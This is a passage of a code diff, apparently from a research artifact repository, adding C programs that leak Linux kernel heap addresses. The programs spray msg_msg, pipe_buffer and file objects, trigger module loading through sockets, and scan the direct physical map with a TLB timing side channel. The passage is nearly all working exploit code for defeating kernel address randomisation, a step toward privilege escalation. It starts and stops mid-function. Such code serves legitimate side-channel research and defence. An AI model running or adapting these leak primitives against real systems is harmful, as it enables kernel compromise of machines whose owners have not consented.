||||
size_t time;
|
||||
size_t prev_time = -1;
|
||||
size_t last_slab = -1;
|
||||
for (size_t i = FILES_SPRAY/2; i < FILES_SPRAY; ++i)
|
||||
open(argv[0], O_RDONLY);
|
||||
|
||||
printf("[*] load 1st half of kernel modules\n");
|
||||
int sock_fd;
|
||||
sock_fd = socket(AF_INET, SOCK_DCCP, IPPROTO_DCCP);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(AF_INET, SOCK_DCCP, IPPROTO_DCCP)");
|
||||
exit(-1);
|
||||
}
|
||||
sock_fd = socket(SOCK_DGRAM, CAN_BCM, 0);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(SOCK_DGRAM, CAN_BCM, 0)");
|
||||
exit(-1);
|
||||
}
|
||||
sock_fd = socket(AF_VSOCK, SOCK_STREAM, 0);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(AF_VSOCK, SOCK_STREAM, 0)");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
for (size_t i = FILES_SPRAY/2; i < FILES_SPRAY; ++i) {
|
||||
size_t t0 = rdtsc_begin();
|
||||
int ret = open(argv[0], O_RDONLY);
|
||||
size_t t1 = rdtsc_end();
|
||||
if (ret < 0) {
|
||||
perror("open(argv[0])");
|
||||
exit(-1);
|
||||
}
|
||||
time = t1-t0;
|
||||
if (time > (prev_time+1500)) {
|
||||
if (last_slab == (size_t)-1)
|
||||
last_slab = i;
|
||||
else if (i - last_slab == OBJS_PER_SLAB)
|
||||
break;
|
||||
else
|
||||
last_slab = -1;
|
||||
}
|
||||
prev_time = time;
|
||||
}
|
||||
|
||||
int fds[FILES];
|
||||
for (size_t i = 0; i < FILES; ++i) {
|
||||
fds[i] = open(argv[0], O_RDONLY);
|
||||
if (fds[i] < 0) {
|
||||
perror("open(argv[0])");
|
||||
exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
printf("[*] load 2nd half of kernel modules\n");
|
||||
sock_fd = socket(AF_CAN, SOCK_DGRAM, CAN_ISOTP);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(AF_CAN, SOCK_DGRAM, CAN_ISOTP");
|
||||
exit(-1);
|
||||
}
|
||||
sock_fd = socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP)");
|
||||
exit(-1);
|
||||
}
|
||||
sock_fd = socket(PF_INET, SOCK_DGRAM, IPPROTO_L2TP);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(PF_INET, SOCK_STREAM, IPPROTO_L2TP)");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
__attribute__((unused))size_t found_addresses[32];
|
||||
size_t found_addresses_index = 0;
|
||||
|
||||
#ifdef VALIDATE
|
||||
size_t file_0;
|
||||
size_t file_1;
|
||||
size_t file_2;
|
||||
size_t file_3;
|
||||
size_t file_4;
|
||||
size_t file_16;
|
||||
size_t file_30;
|
||||
size_t file_ns1;
|
||||
size_t file_ns2;
|
||||
lkm_init();
|
||||
lkm_file_leak((size_t)&file_0, fds[0]);
|
||||
printf("[*] file 0 %016zx\n", file_0);
|
||||
lkm_file_leak((size_t)&file_1, fds[1]);
|
||||
printf("[*] file 1 %016zx\n", file_1);
|
||||
lkm_file_leak((size_t)&file_2, fds[2]);
|
||||
printf("[*] file 2 %016zx\n", file_2);
|
||||
lkm_file_leak((size_t)&file_3, fds[3]);
|
||||
printf("[*] file 3 %016zx\n", file_3);
|
||||
lkm_file_leak((size_t)&file_4, fds[4]);
|
||||
printf("[*] file 4 %016zx\n", file_4);
|
||||
lkm_file_leak((size_t)&file_16, fds[16]);
|
||||
printf("[*] file 16 %016zx\n", file_16);
|
||||
lkm_file_leak((size_t)&file_30, fds[30]);
|
||||
printf("[*] file 30 %016zx\n", file_30);
|
||||
lkm_file_leak((size_t)&file_ns1, fds[OBJS_PER_SLAB]);
|
||||
printf("[*] file %d %016zx\n", OBJS_PER_SLAB, file_ns1);
|
||||
lkm_file_leak((size_t)&file_ns2, fds[OBJS_PER_SLAB*2]);
|
||||
printf("[*] file %d %016zx\n", OBJS_PER_SLAB*2, file_ns2);
|
||||
|
||||
size_t is_4kb = lkm_is_4kb(file_0);
|
||||
printf("[*] %016zx is %s page\n", file_0, is_4kb ? "4kB" : "2MB");
|
||||
#endif
|
||||
|
||||
size_t dpm_base = dpm_leak(TRIES);
|
||||
printf("[*] dpm_base: %016zx\n", dpm_base);
|
||||
for (size_t addr = dpm_base; addr < dpm_base+mem_total_rounded; addr += (1<<21)) {
|
||||
if ((addr % (1 << 30)) == 0)
|
||||
printf("[*] addr %016zx\n", addr);
|
||||
if (is_2mb(fds[0], addr, 40))
|
||||
continue;
|
||||
|
||||
for (size_t i = 0; i < (1ULL << 21); i += (1ULL << 12)) {
|
||||
size_t cur_addr = addr + i;
|
||||
size_t found_0 = hit_flush(fds[0], cur_addr, TRIES);
|
||||
if (!found_0)
|
||||
continue;
|
||||
|
||||
size_t found_ns1 = hit_flush(fds[OBJS_PER_SLAB], cur_addr, TRIES);
|
||||
if (found_ns1)
|
||||
continue;
|
||||
size_t found_ns2 = hit_flush(fds[OBJS_PER_SLAB*2], cur_addr, TRIES);
|
||||
if (found_ns2)
|
||||
continue;
|
||||
size_t found_ns3 = hit_flush(fds[OBJS_PER_SLAB*3], cur_addr, TRIES);
|
||||
if (found_ns3)
|
||||
continue;
|
||||
size_t found_ns4 = hit_flush(fds[OBJS_PER_SLAB*4], cur_addr, TRIES);
|
||||
if (found_ns4)
|
||||
continue;
|
||||
|
||||
size_t found_1 = hit_flush(fds[1], cur_addr, TRIES) || hit_flush(fds[1], cur_addr ^ 0x1000, TRIES);
|
||||
if (!found_1)
|
||||
continue;
|
||||
size_t found_2 = hit_flush(fds[2], cur_addr, TRIES) || hit_flush(fds[2], cur_addr ^ 0x1000, TRIES);
|
||||
if (!found_2)
|
||||
continue;
|
||||
size_t found_3 = hit_flush(fds[3], cur_addr, TRIES) || hit_flush(fds[3], cur_addr ^ 0x1000, TRIES);
|
||||
if (!found_3)
|
||||
continue;
|
||||
size_t found_4 = hit_flush(fds[4], cur_addr, TRIES) || hit_flush(fds[4], cur_addr ^ 0x1000, TRIES);
|
||||
if (!found_4)
|
||||
continue;
|
||||
size_t found_16 = hit_flush(fds[16], cur_addr, TRIES) || hit_flush(fds[16], cur_addr ^ 0x1000, TRIES);
|
||||
if (!found_16)
|
||||
continue;
|
||||
size_t found_30 = hit_flush(fds[30], cur_addr, TRIES) || hit_flush(fds[30], cur_addr ^ 0x1000, TRIES);
|
||||
if (!found_30)
|
||||
continue;
|
||||
|
||||
if (found_addresses_index == 32) {
|
||||
printf("[?] too much found addresses\n");
|
||||
continue;
|
||||
}
|
||||
found_addresses[found_addresses_index++] = cur_addr;
|
||||
printf("[+] found addr %016zx\n", cur_addr);
|
||||
}
|
||||
}
|
||||
if (found_addresses_index == 0)
|
||||
printf("[!] non found -> retry\n");
|
||||
else if (found_addresses_index != 1)
|
||||
printf("[!] multiple addresses -> retry\n");
|
||||
#ifdef VALIDATE
|
||||
else if ((found_addresses[0] & ~((1<<13)-1)) == (file_0 & ~((1<<13)-1)))
|
||||
printf("[+] success\n");
|
||||
else
|
||||
printf("[!] fail\n");
|
||||
#else
|
||||
else
|
||||
printf("[*] found %016zx\n", found_addresses[0]);
|
||||
#endif
|
||||
}
|
258
artifacts/heap/msg_msg_leak.c
Normal file
258
artifacts/heap/msg_msg_leak.c
Normal file
|
@ -0,0 +1,258 @@
|
|||
#include "utils.h"
|
||||
#include "tlb_flush.h"
|
||||
#include "msg_msg.h"
|
||||
#include "coarse_grain_leak.h"
|
||||
#define VALIDATE
|
||||
#ifdef VALIDATE
|
||||
#include "ulkm.h"
|
||||
#endif
|
||||
#include <unistd.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/mman.h>
|
||||
#define IPPROTO_DCCP 33
|
||||
#define IPPROTO_SCTP 132
|
||||
#define IPPROTO_L2TP 115
|
||||
#define CAN_RAW 1
|
||||
#define CAN_BCM 2
|
||||
#define CAN_ISOTP 6
|
||||
|
||||
#define OBJS_PER_SLAB 32
|
||||
#define MSGS (OBJS_PER_SLAB*50)
|
||||
#define MSG_SPRAYS (OBJS_PER_SLAB*200)
|
||||
#define MSG_TYPE 0x41
|
||||
#define MSG_SIZE (128 - 48)
|
||||
|
||||
int qids_spray[MSG_SPRAYS];
|
||||
int qids[MSGS];
|
||||
|
||||
#define TRIES 40
|
||||
|
||||
void get_times(int qid, size_t type, size_t addr, size_t tries, size_t *time, size_t *time_n2, size_t *time_n4)
|
||||
{
|
||||
static char buffer[0x1000] = {0};
|
||||
msg *message = (msg *)buffer;
|
||||
message->mtype = type;
|
||||
|
||||
size_t times[tries];
|
||||
size_t times_n2[tries];
|
||||
size_t times_n4[tries];
|
||||
for (size_t i = 0; i < tries; ++i) {
|
||||
flush_tlb_targeted_4k(addr);
|
||||
flush_tlb_targeted_4k(addr+2*(1<<12));
|
||||
flush_tlb_targeted_4k(addr+2*(1<<12));
|
||||
get_msg(qid, message, MSG_SIZE, 0, MSG_COPY|IPC_NOWAIT);
|
||||
times[i] = onlyreload(addr);
|
||||
times_n2[i] = onlyreload(addr+2*(1<<12));
|
||||
times_n4[i] = onlyreload(addr+4*(1<<12));
|
||||
}
|
||||
qsort(times, tries, sizeof(size_t), comp);
|
||||
qsort(times_n2, tries, sizeof(size_t), comp);
|
||||
qsort(times_n4, tries, sizeof(size_t), comp);
|
||||
*time = times[tries/4];
|
||||
*time_n2 = times_n2[tries/4];
|
||||
*time_n4 = times_n4[tries/4];
|
||||
}
|
||||
int is_2mb(int qid, size_t type, size_t addr, size_t tries)
|
||||
{
|
||||
size_t time;
|
||||
size_t time_n2;
|
||||
size_t time_n4;
|
||||
get_times(qid, type, addr, tries, &time, &time_n2, &time_n4);
|
||||
return (time < THRESHOLD && time_n2 < THRESHOLD && time_n4 < THRESHOLD);
|
||||
}
|
||||
int hit_flush(int qid, size_t type, size_t addr, size_t tries)
|
||||
{
|
||||
size_t time;
|
||||
size_t time_n2;
|
||||
size_t time_n4;
|
||||
get_times(qid, type, addr, tries, &time, &time_n2, &time_n4);
|
||||
return (time < THRESHOLD && (time_n2 > THRESHOLD || time_n4 > THRESHOLD));
|
||||
}
|
||||
|
||||
int main(void)
|
||||
{
|
||||
printf("[*] start\n");
|
||||
set_limit();
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
setvbuf(stdin, NULL, _IONBF, 0);
|
||||
setvbuf(stderr, NULL, _IONBF, 0);
|
||||
pin_to_core(0);
|
||||
|
||||
init_tlb_flush();
|
||||
get_total_memory();
|
||||
|
||||
static char buffer[0x1000] = {0};
|
||||
msg *message = (msg *)buffer;
|
||||
message->mtype = MSG_TYPE;
|
||||
|
||||
printf("[*] make queues\n");
|
||||
for (size_t i = 0; i < MSG_SPRAYS; ++i)
|
||||
qids_spray[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
|
||||
for (size_t i = 0; i < MSGS; ++i)
|
||||
qids[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
|
||||
|
||||
size_t time;
|
||||
size_t prev_time = -1;
|
||||
size_t last_slab = -1;
|
||||
printf("[*] alloc msg_msg structs\n");
|
||||
for (size_t i = 0; i < MSG_SPRAYS/2; ++i)
|
||||
send_msg(qids_spray[i], message, MSG_SIZE, 0);
|
||||
|
||||
printf("[*] load 1st half of kernel modules\n");
|
||||
int sock_fd;
|
||||
sock_fd = socket(AF_INET, SOCK_DCCP, IPPROTO_DCCP);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(AF_INET, SOCK_DCCP, IPPROTO_DCCP)");
|
||||
exit(-1);
|
||||
}
|
||||
sock_fd = socket(SOCK_DGRAM, CAN_BCM, 0);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(SOCK_DGRAM, CAN_BCM, 0)");
|
||||
exit(-1);
|
||||
}
|
||||
sock_fd = socket(AF_VSOCK, SOCK_STREAM, 0);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(AF_VSOCK, SOCK_STREAM, 0)");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
printf("[*] alloc msg_msg structs\n");
|
||||
for (size_t i = MSG_SPRAYS/2; i < MSG_SPRAYS; ++i) {
|
||||
size_t t0 = rdtsc_begin();
|
||||
send_msg(qids_spray[i], message, MSG_SIZE, 0);
|
||||
size_t t1 = rdtsc_end();
|
||||
time = t1-t0;
|
||||
if (time > (prev_time+1000)) {
|
||||
if (last_slab == (size_t)-1)
|
||||
last_slab = i;
|
||||
else if (i - last_slab == OBJS_PER_SLAB)
|
||||
break;
|
||||
else
|
||||
last_slab = -1;
|
||||
}
|
||||
prev_time = time;
|
||||
}
|
||||
for (size_t i = 0; i < MSGS; ++i)
|
||||
send_msg(qids[i], message, MSG_SIZE, 0);
|
||||
|
||||
printf("[*] load 2nd half of kernel modules\n");
|
||||
sock_fd = socket(AF_CAN, SOCK_DGRAM, CAN_ISOTP);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(AF_CAN, SOCK_DGRAM, CAN_ISOTP");
|
||||
exit(-1);
|
||||
}
|
||||
sock_fd = socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP)");
|
||||
exit(-1);
|
||||
}
|
||||
sock_fd = socket(PF_INET, SOCK_DGRAM, IPPROTO_L2TP);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(PF_INET, SOCK_STREAM, IPPROTO_L2TP)");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
__attribute__((unused))size_t found_addresses[32];
|
||||
size_t found_addresses_index = 0;
|
||||
|
||||
#ifdef VALIDATE
|
||||
lkm_init();
|
||||
size_t msg_msg_0;
|
||||
size_t msg_msg_1;
|
||||
size_t msg_msg_2;
|
||||
size_t msg_msg_3;
|
||||
size_t msg_msg_29;
|
||||
size_t msg_msg_30;
|
||||
size_t msg_msg_128;
|
||||
lkm_msg_msg_leak((size_t)&msg_msg_0, qids[0], MSG_TYPE);
|
||||
lkm_msg_msg_leak((size_t)&msg_msg_1, qids[1], MSG_TYPE);
|
||||
lkm_msg_msg_leak((size_t)&msg_msg_2, qids[2], MSG_TYPE);
|
||||
lkm_msg_msg_leak((size_t)&msg_msg_3, qids[3], MSG_TYPE);
|
||||
lkm_msg_msg_leak((size_t)&msg_msg_29, qids[29], MSG_TYPE);
|
||||
lkm_msg_msg_leak((size_t)&msg_msg_30, qids[30], MSG_TYPE);
|
||||
lkm_msg_msg_leak((size_t)&msg_msg_128, qids[128], MSG_TYPE);
|
||||
printf("[*] leak msg_msg struct 0 %016zx\n", msg_msg_0);
|
||||
printf("[*] leak msg_msg struct 1 %016zx\n", msg_msg_1);
|
||||
printf("[*] leak msg_msg struct 2 %016zx\n", msg_msg_2);
|
||||
printf("[*] leak msg_msg struct 3 %016zx\n", msg_msg_3);
|
||||
printf("[*] leak msg_msg struct 29 %016zx\n", msg_msg_29);
|
||||
printf("[*] leak msg_msg struct 30 %016zx\n", msg_msg_30);
|
||||
printf("[*] leak msg_msg struct 128 %016zx\n", msg_msg_128);
|
||||
|
||||
size_t is_4kb = lkm_is_4kb(msg_msg_0);
|
||||
printf("[*] %016zx is %s page\n", msg_msg_0, is_4kb ? "4kB" : "2MB");
|
||||
#endif
|
||||
|
||||
size_t dpm_base = dpm_leak(TRIES);
|
||||
printf("[*] dpm_base: %016zx\n", dpm_base);
|
||||
for (size_t addr = dpm_base; addr < dpm_base+mem_total_rounded; addr += (1<<21)) {
|
||||
if ((addr % (1 << 30)) == 0)
|
||||
printf("[*] addr %016zx\n", addr);
|
||||
|
||||
if (is_2mb(qids[0], MSG_TYPE, addr, 40))
|
||||
continue;
|
||||
for (size_t i = 0; i < (1ULL << 21); i += (1ULL << 12)) {
|
||||
size_t cur_addr = addr + i;
|
||||
size_t found_0 = hit_flush(qids[0], MSG_TYPE, cur_addr, TRIES);
|
||||
if (!found_0)
|
||||
continue;
|
||||
|
||||
size_t found_32 = hit_flush(qids[32], MSG_TYPE, cur_addr, TRIES);
|
||||
if (found_32)
|
||||
continue;
|
||||
size_t found_64 = hit_flush(qids[64], MSG_TYPE, cur_addr, TRIES);
|
||||
if (found_64)
|
||||
continue;
|
||||
size_t found_96 = hit_flush(qids[96], MSG_TYPE, cur_addr, TRIES);
|
||||
if (found_96)
|
||||
continue;
|
||||
size_t found_128 = hit_flush(qids[128], MSG_TYPE, cur_addr, TRIES);
|
||||
if (found_128)
|
||||
continue;
|
||||
size_t found_160 = hit_flush(qids[160], MSG_TYPE, cur_addr, TRIES);
|
||||
if (found_160)
|
||||
continue;
|
||||
|
||||
size_t found_1 = hit_flush(qids[1], MSG_TYPE, cur_addr, TRIES);
|
||||
if (!found_1)
|
||||
continue;
|
||||
size_t found_2 = hit_flush(qids[2], MSG_TYPE, cur_addr, TRIES);
|
||||
if (!found_2)
|
||||
continue;
|
||||
size_t found_3 = hit_flush(qids[3], MSG_TYPE, cur_addr, TRIES);
|
||||
if (!found_3)
|
||||
continue;
|
||||
size_t found_16 = hit_flush(qids[16], MSG_TYPE, cur_addr, TRIES);
|
||||
if (!found_16)
|
||||
continue;
|
||||
size_t found_29 = hit_flush(qids[29], MSG_TYPE, cur_addr, TRIES);
|
||||
if (!found_29)
|
||||
continue;
|
||||
size_t found_30 = hit_flush(qids[30], MSG_TYPE, cur_addr, TRIES);
|
||||
if (!found_30)
|
||||
continue;
|
||||
|
||||
found_addresses[found_addresses_index++] = cur_addr;
|
||||
printf("[+] found addr %016zx\n", cur_addr);
|
||||
}
|
||||
}
|
||||
|
||||
for (size_t i = 0; i < MSGS; ++i)
|
||||
cleanup_queue(qids[i]);
|
||||
for (size_t i = 0; i < MSG_SPRAYS; ++i)
|
||||
cleanup_queue(qids_spray[i]);
|
||||
if (found_addresses_index == 0)
|
||||
printf("[!] non found -> retry\n");
|
||||
else if (found_addresses_index != 1)
|
||||
printf("[!] multiple addresses -> retry\n");
|
||||
#ifdef VALIDATE
|
||||
else if (found_addresses[0] == (msg_msg_0 & ~((1<<12)-1)))
|
||||
printf("[+] success\n");
|
||||
else
|
||||
printf("[!] fail\n");
|
||||
#else
|
||||
else
|
||||
printf("[*] found %016zx\n", found_addresses[0]);
|
||||
#endif
|
||||
}
|
263
artifacts/heap/pipe_buffer_leak.c
Normal file
263
artifacts/heap/pipe_buffer_leak.c
Normal file
|
@ -0,0 +1,263 @@
|
|||
#include "utils.h"
|
||||
#include "cacheutils.h"
|
||||
#include "tlb_flush.h"
|
||||
#include "pipe_buffer.h"
|
||||
#include "coarse_grain_leak.h"
|
||||
#define VALIDATE
|
||||
#ifdef VALIDATE
|
||||
#include "ulkm.h"
|
||||
#endif
|
||||
#include <unistd.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/mman.h>
|
||||
#define IPPROTO_DCCP 33
|
||||
#define IPPROTO_SCTP 132
|
||||
#define IPPROTO_L2TP 115
|
||||
#define CAN_RAW 1
|
||||
#define CAN_BCM 2
|
||||
#define CAN_ISOTP 6
|
||||
|
||||
#define OBJS_PER_SLAB 42
|
||||
#define PIPE_BUFFER_SPRAY (OBJS_PER_SLAB*200)
|
||||
#define PIPE_BUFFER (OBJS_PER_SLAB*10)
|
||||
|
||||
#define TRIES 40
|
||||
|
||||
#define PIPE_SIZE 40
|
||||
#define PIPE_CNT 16
|
||||
int pipes_spray[PIPE_BUFFER_SPRAY][2];
|
||||
int pipes[PIPE_BUFFER][2];
|
||||
char buffer[0x1000];
|
||||
|
||||
void get_times(int fd, size_t addr, size_t tries, size_t *time, size_t *time_n2, size_t *time_n4)
|
||||
{
|
||||
size_t times[tries];
|
||||
size_t times_n2[tries];
|
||||
size_t times_n4[tries];
|
||||
for (size_t i = 0; i < tries; ++i) {
|
||||
flush_tlb_targeted_4k(addr);
|
||||
flush_tlb_targeted_4k(addr+2*(1<<12));
|
||||
flush_tlb_targeted_4k(addr+2*(1<<12));
|
||||
__attribute__((unused))int __ret = read(fd, (void *)0xdeadbeef000, 8);
|
||||
times[i] = onlyreload(addr);
|
||||
times_n2[i] = onlyreload(addr+2*(1<<12));
|
||||
times_n4[i] = onlyreload(addr+4*(1<<12));
|
||||
}
|
||||
qsort(times, tries, sizeof(size_t), comp);
|
||||
qsort(times_n2, tries, sizeof(size_t), comp);
|
||||
qsort(times_n4, tries, sizeof(size_t), comp);
|
||||
*time = times[tries/4];
|
||||
*time_n2 = times_n2[tries/4];
|
||||
*time_n4 = times_n4[tries/4];
|
||||
}
|
||||
int is_2mb(int fd, size_t addr, size_t tries)
|
||||
{
|
||||
size_t time;
|
||||
size_t time_n2;
|
||||
size_t time_n4;
|
||||
get_times(fd, addr, tries, &time, &time_n2, &time_n4);
|
||||
return (time < THRESHOLD && time_n2 < THRESHOLD && time_n4 < THRESHOLD);
|
||||
}
|
||||
int hit_flush(int fd, size_t addr, size_t tries)
|
||||
{
|
||||
size_t time;
|
||||
size_t time_n2;
|
||||
size_t time_n4;
|
||||
get_times(fd, addr, tries, &time, &time_n2, &time_n4);
|
||||
return (time < THRESHOLD && (time_n2 > THRESHOLD || time_n4 > THRESHOLD));
|
||||
}
|
||||
|
||||
int main(void)
|
||||
{
|
||||
printf("[*] start\n");
|
||||
set_limit();
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
setvbuf(stdin, NULL, _IONBF, 0);
|
||||
setvbuf(stderr, NULL, _IONBF, 0);
|
||||
pin_to_core(0);
|
||||
|
||||
init_tlb_flush();
|
||||
get_total_memory();
|
||||
|
||||
size_t time;
|
||||
size_t prev_time = -1;
|
||||
size_t last_slab = -1;
|
||||
for (size_t i = 0; i < PIPE_BUFFER_SPRAY/2; ++i) {
|
||||
alloc_pipes(pipes_spray[i], O_NONBLOCK);
|
||||
resize_pipe(pipes_spray[i][0], 2);
|
||||
write_pipe(pipes_spray[i][1], buffer, 8);
|
||||
}
|
||||
|
||||
printf("[*] load 1st half of kernel modules\n");
|
||||
int sock_fd;
|
||||
sock_fd = socket(AF_INET, SOCK_DCCP, IPPROTO_DCCP);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(AF_INET, SOCK_DCCP, IPPROTO_DCCP)");
|
||||
exit(-1);
|
||||
}
|
||||
sock_fd = socket(SOCK_DGRAM, CAN_BCM, 0);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(SOCK_DGRAM, CAN_BCM, 0)");
|
||||
exit(-1);
|
||||
}
|
||||
sock_fd = socket(AF_VSOCK, SOCK_STREAM, 0);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(AF_VSOCK, SOCK_STREAM, 0)");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
for (size_t i = PIPE_BUFFER_SPRAY/2; i < PIPE_BUFFER_SPRAY; ++i) {
|
||||
alloc_pipes(pipes_spray[i], O_NONBLOCK);
|
||||
size_t t0 = rdtsc_begin();
|
||||
resize_pipe(pipes_spray[i][0], 2);
|
||||
size_t t1 = rdtsc_end();
|
||||
write_pipe(pipes_spray[i][1], buffer, 8);
|
||||
time = t1-t0;
|
||||
if (time > (prev_time+1000)) {
|
||||
if (last_slab == (size_t)-1)
|
||||
last_slab = i;
|
||||
else if (i - last_slab == OBJS_PER_SLAB)
|
||||
break;
|
||||
else
|
||||
last_slab = -1;
|
||||
}
|
||||
prev_time = time;
|
||||
}
|
||||
for (size_t i = 0; i < PIPE_BUFFER; ++i) {
|
||||
alloc_pipes(pipes[i], O_NONBLOCK);
|
||||
resize_pipe(pipes[i][0], 2);
|
||||
write_pipe(pipes[i][1], buffer, 8);
|
||||
}
|
||||
|
||||
printf("[*] load 2nd half of kernel modules\n");
|
||||
sock_fd = socket(AF_CAN, SOCK_DGRAM, CAN_ISOTP);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(AF_CAN, SOCK_DGRAM, CAN_ISOTP");
|
||||
exit(-1);
|
||||
}
|
||||
sock_fd = socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP)");
|
||||
exit(-1);
|
||||
}
|
||||
sock_fd = socket(PF_INET, SOCK_DGRAM, IPPROTO_L2TP);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(PF_INET, SOCK_STREAM, IPPROTO_L2TP)");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
__attribute__((unused))size_t found_addresses[32];
|
||||
__attribute__((unused))size_t found_addresses_index = 0;
|
||||
|
||||
#ifdef VALIDATE
|
||||
lkm_init();
|
||||
size_t pipe_buffer_0;
|
||||
size_t pipe_buffer_1;
|
||||
size_t pipe_buffer_2;
|
||||
size_t pipe_buffer_3;
|
||||
size_t pipe_buffer_4;
|
||||
size_t pipe_buffer_21;
|
||||
size_t pipe_buffer_40;
|
||||
size_t pipe_buffer_ns1;
|
||||
size_t pipe_buffer_ns2;
|
||||
size_t pipe_buffer_ns3;
|
||||
size_t pipe_buffer_ns4;
|
||||
size_t pipe_buffer_ns5;
|
||||
lkm_pipe_buffer_leak((size_t)&pipe_buffer_0, pipes[0][0], 1);
|
||||
printf("[*] pipe_buffer 0 %016zx\n", pipe_buffer_0);
|
||||
lkm_pipe_buffer_leak((size_t)&pipe_buffer_1, pipes[1][0], 1);
|
||||
printf("[*] pipe_buffer 1 %016zx\n", pipe_buffer_1);
|
||||
lkm_pipe_buffer_leak((size_t)&pipe_buffer_2, pipes[2][0], 1);
|
||||
printf("[*] pipe_buffer 2 %016zx\n", pipe_buffer_2);
|
||||
lkm_pipe_buffer_leak((size_t)&pipe_buffer_3, pipes[3][0], 1);
|
||||
printf("[*] pipe_buffer 3 %016zx\n", pipe_buffer_3);
|
||||
lkm_pipe_buffer_leak((size_t)&pipe_buffer_4, pipes[4][0], 1);
|
||||
printf("[*] pipe_buffer 4 %016zx\n", pipe_buffer_4);
|
||||
lkm_pipe_buffer_leak((size_t)&pipe_buffer_21, pipes[21][0], 1);
|
||||
printf("[*] pipe_buffer 21 %016zx\n", pipe_buffer_21);
|
||||
lkm_pipe_buffer_leak((size_t)&pipe_buffer_40, pipes[40][0], 1);
|
||||
printf("[*] pipe_buffer 40 %016zx\n", pipe_buffer_40);
|
||||
lkm_pipe_buffer_leak((size_t)&pipe_buffer_ns1, pipes[OBJS_PER_SLAB][0], 1);
|
||||
printf("[*] pipe_buffer %d %016zx\n", OBJS_PER_SLAB, pipe_buffer_ns1);
|
||||
lkm_pipe_buffer_leak((size_t)&pipe_buffer_ns2, pipes[OBJS_PER_SLAB*2][0], 1);
|
||||
printf("[*] pipe_buffer %d %016zx\n", OBJS_PER_SLAB*2, pipe_buffer_ns2);
|
||||
lkm_pipe_buffer_leak((size_t)&pipe_buffer_ns3, pipes[OBJS_PER_SLAB*3][0], 1);
|
||||
printf("[*] pipe_buffer %d %016zx\n", OBJS_PER_SLAB*3, pipe_buffer_ns3);
|
||||
lkm_pipe_buffer_leak((size_t)&pipe_buffer_ns4, pipes[OBJS_PER_SLAB*4][0], 1);
|
||||
printf("[*] pipe_buffer %d %016zx\n", OBJS_PER_SLAB*4, pipe_buffer_ns4);
|
||||
lkm_pipe_buffer_leak((size_t)&pipe_buffer_ns5, pipes[OBJS_PER_SLAB*5][0], 1);
|
||||
printf("[*] pipe_buffer %d %016zx\n", OBJS_PER_SLAB*5, pipe_buffer_ns5);
|
||||
|
||||
size_t is_4kb = lkm_is_4kb(pipe_buffer_0);
|
||||
printf("[*] %016zx is %s page\n", pipe_buffer_0, is_4kb ? "4kB" : "2MB");
|
||||
#endif
|
||||
|
||||
size_t dpm_base = dpm_leak(TRIES);
|
||||
printf("[*] dpm_base: %016zx\n", dpm_base);
|
||||
for (size_t addr = dpm_base; addr < dpm_base+mem_total_rounded; addr += (1<<21)) {
|
||||
if ((addr % (1 << 30)) == 0)
|
||||
printf("[*] addr %016zx\n", addr);
|
||||
|
||||
if (is_2mb(pipes[0][0], addr, 40))
|
||||
continue;
|
||||
for (size_t i = 0; i < (1ULL << 21); i += (1ULL << 12)) {
|
||||
size_t cur_addr = addr + i;
|
||||
size_t found_0 = hit_flush(pipes[0][0], cur_addr, TRIES);
|
||||
if (!found_0)
|
||||
continue;
|
||||
|
||||
size_t found_ns1 = hit_flush(pipes[OBJS_PER_SLAB][0], cur_addr, TRIES);
|
||||
if (found_ns1)
|
||||
continue;
|
||||
size_t found_ns2 = hit_flush(pipes[OBJS_PER_SLAB*2][0], cur_addr, TRIES);
|
||||
if (found_ns2)
|
||||
continue;
|
||||
size_t found_ns3 = hit_flush(pipes[OBJS_PER_SLAB*3][0], cur_addr, TRIES);
|
||||
if (found_ns3)
|
||||
continue;
|
||||
size_t found_ns4 = hit_flush(pipes[OBJS_PER_SLAB*4][0], cur_addr, TRIES);
|
||||
if (found_ns4)
|
||||
continue;
|
||||
size_t found_ns5 = hit_flush(pipes[OBJS_PER_SLAB*5][0], cur_addr, TRIES);
|
||||
if (found_ns5)
|
||||
continue;
|
||||
|
||||
size_t found_1 = hit_flush(pipes[1][0], cur_addr, TRIES);
|
||||
if (!found_1)
|
||||
continue;
|
||||
size_t found_2 = hit_flush(pipes[2][0], cur_addr, TRIES);
|
||||
if (!found_2)
|
||||
continue;
|
||||
size_t found_3 = hit_flush(pipes[3][0], cur_addr, TRIES);
|
||||
if (!found_3)
|
||||
continue;
|
||||
size_t found_21 = hit_flush(pipes[21][0], cur_addr, TRIES);
|
||||
if (!found_21)
|
||||
